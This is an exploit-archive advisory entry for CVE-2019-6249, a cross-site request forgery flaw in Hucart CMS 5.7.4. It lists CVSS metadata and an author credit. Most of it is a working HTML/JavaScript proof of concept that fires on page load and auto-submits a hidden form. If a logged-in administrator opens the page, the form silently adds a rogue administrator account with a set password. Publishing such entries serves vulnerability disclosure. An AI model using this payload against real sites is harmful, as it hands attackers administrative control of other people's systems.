Hucart CMS 5.7.4 Cross Site Request Forgery

2019.01.15

Credit: AllenChen

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2019-6249

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

<!--
# Exploit Title: Hucart cms v5.7.4 CSRF vulnerability add administrator account
# Date: 2019-01-13
# Exploit Author: AllenCheni1/4520allen@gmail.comi1/4
# Vendor Homepage: http://www.hucart.com/
# Software Link: http://www.hucart.com/
# Version: v5.7.4
# CVE : CVE-2019-6249
 
An issue was discovered in HuCart v5.7.4. There is a CSRF vulnerability that can add an admin account via /adminsys/index.php?load=admins&act=edit_info&act_type=add.i1/4Referencesi1/4http://www.iwantacve.cn/index.php/archives/109/i1/4

After the administrator logged in, open the csrf exp page.
-->


<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;


fields += "<input type='hidden' name='adm_user' value='hack' />";
fields += "<input type='hidden' name='adm_email' value='admin@hack.com' />";  
fields += "<input type='hidden' name='adm_mobile' value='13888888888' />";  
fields += "<input type='hidden' name='adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='re_adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='adm_enabled' value='1' />";  
fields += "<input type='hidden' name='act_type' value='add' />";  
fields += "<input type='hidden' name='adm_id' value='' />";  


var url = "http://localhost/hucart_cn/adminsys/index.php?load=admins&act=edit_info&act_type=add";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>

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Hucart CMS 5.7.4 Cross Site Request Forgery

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